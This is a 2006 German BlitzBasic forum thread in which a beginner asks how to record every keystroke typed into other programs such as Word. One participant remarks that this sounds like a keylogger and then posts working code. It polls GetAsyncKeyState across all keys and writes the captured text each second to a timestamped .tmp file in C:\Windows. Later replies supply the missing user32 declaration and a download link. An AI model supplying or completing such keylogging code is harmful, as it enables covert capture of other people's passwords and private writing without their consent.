Tastendruck

Übersicht BlitzBasic Beginners-Corner

Neue Antwort erstellen

Lifetec

Betreff: Tastendruck

BeitragSa, Sep 02, 2006 17:26
Antworten mit Zitat
Benutzer-Profile anzeigen
Wie kann ich es machen das man auf stat drückt und dann soll mein Programm alee Tastendrücke regestrieren wenn man z.b in Microsoft Word einen Test schreibt dann soll man ie der sopp drücken.

Wie kann ich es machen das mein Programm trotzdem alle Tastendrücke regestriert obwohl es nicht aktiviert ist.

Holzchopf

Meisterpacker

BeitragSa, Sep 02, 2006 17:32
Antworten mit Zitat
Benutzer-Profile anzeigen
Mit BlitzBasic selber ist es nicht möglich, den Tastaturbuffer auszuspionieren Rolling Eyes Vielleicht gibts aber entsprechende Userlibs dazu, was ich mir auch noch vorstellen könnte, dass man dein "Problem" in BlitzMax lösen könnte.
Erledige alles Schritt um Schritt - erledige alles. - Holzchopf
CC BYBinaryBorn - Yogurt ♫ (31.10.2018)
Im Kopf da knackt's und knistert's sturm - 's ist kein Gedanke, nur ein Wurm

Lifetec

BeitragSa, Sep 02, 2006 17:44
Antworten mit Zitat
Benutzer-Profile anzeigen
Kennst du ein kostenloses Tool was das macht ???
 

Schnuff

BeitragSa, Sep 02, 2006 19:42
Antworten mit Zitat
Benutzer-Profile anzeigen
Code: [AUSKLAPPEN]
.lib "user32.dll"
GKState%(k%):"GetKeyState"


die meisten sachen, sind ascii...
den rest weis ich nciht^^

man muss die anfangswärete speichern, oder probier einfach ein bischen damit rum Wink
er macht keine unterschiede ob groß oder klein schreibung!!!!
Programmers dont die. They gosub without return...

Smily

BeitragSa, Sep 02, 2006 21:00
Antworten mit Zitat
Benutzer-Profile anzeigen
Klingt so als wölltest du einen Keylogger machen Laughing *sry*
jaaa da gibt es was. mom ich hatte da auch schonmal was geproggt. *auf Festplatte rumkrame*

Code: [AUSKLAPPEN]
Name$="C:\Windows\log_"+CurrentDate()+"__"+Replace(CurrentTime(),":",".")+".tmp"
;Print berreit
Repeat
 For i = 0 To 255
  t=api_GetAsyncKeyState(i)
  If t = -32767 Then S$ = S$ + Chr$(i)
 Next
 If MilliSecs() => Lastsave+1000 Then
;  Notify "Save"
  Lastsave = MilliSecs()
  Fileout = WriteFile(Name$)
  WriteLine Fileout, S$
  CloseFile fileout
 End If
 Delay 1
Forever
Lesestoff:
gegen Softwarepatente | Netzzensur | brain.exe | Unabhängigkeitserklärung des Internets

"Wir müssen die Rechte der Andersdenkenden selbst dann beachten, wenn sie Idioten oder schädlich sind. Wir müssen aufpassen. Wachsamkeit ist der Preis der Freiheit --- Keine Zensur!"
stummi.org

Lifetec

BeitragSo, Sep 03, 2006 12:26
Antworten mit Zitat
Benutzer-Profile anzeigen
Smily0412 ich habe ein Problem mit deinem Code denn ich glaube es fehlt die Userlib. Den ich bekomme immer den Fehler
Code: [AUSKLAPPEN]

Function api_getasynckeystate not found


Kannst du mir sagen was ich falsch mache oder mir bitte die Userlib geben ???

Smily

BeitragSo, Sep 03, 2006 14:15
Antworten mit Zitat
Benutzer-Profile anzeigen
wenn du schon eine decl für die User32.dll hast, dann füge folgende Zeile dazu:

Code: [AUSKLAPPEN]
api_GetAsyncKeyState% (vKey%) : "GetAsyncKeyState" 


wenn nich dann mache eine User32.decl im Userlib ordner und kopiere folgenden Code rein:

Code: [AUSKLAPPEN]
.lib "User32.dll"
api_GetAsyncKeyState% (vKey%) : "GetAsyncKeyState" 
Lesestoff:
gegen Softwarepatente | Netzzensur | brain.exe | Unabhängigkeitserklärung des Internets

"Wir müssen die Rechte der Andersdenkenden selbst dann beachten, wenn sie Idioten oder schädlich sind. Wir müssen aufpassen. Wachsamkeit ist der Preis der Freiheit --- Keine Zensur!"
stummi.org
 

antome

!!! gesperrt !!!

BeitragSo, Sep 03, 2006 14:19
Antworten mit Zitat
Benutzer-Profile anzeigen
Hier ist auch ein Link zu den SystemLibrary .decls
man muss nur statt dem Librarynamen z.B kernel32.dll die Datei dann kernel32.decls nennen.
https://www.blitzforum.de/foru...php?t=7330
antome

Hummelpups

BeitragDi, Sep 05, 2006 15:00
Antworten mit Zitat
Benutzer-Profile anzeigen
Und hier nochmal toll für Max.

www.blitzhelp.net/personal/GetAsyncKeyState.rar

IMurDOOM
blucode - webdesign - Ressource - NetzwerkSim
BlitzBasic 2D - BlitzMax - MaxGUI - Monkey - BlitzPlus

Neue Antwort erstellen


Übersicht BlitzBasic Beginners-Corner

Gehe zu:

Powered by phpBB © 2001 - 2006, phpBB Group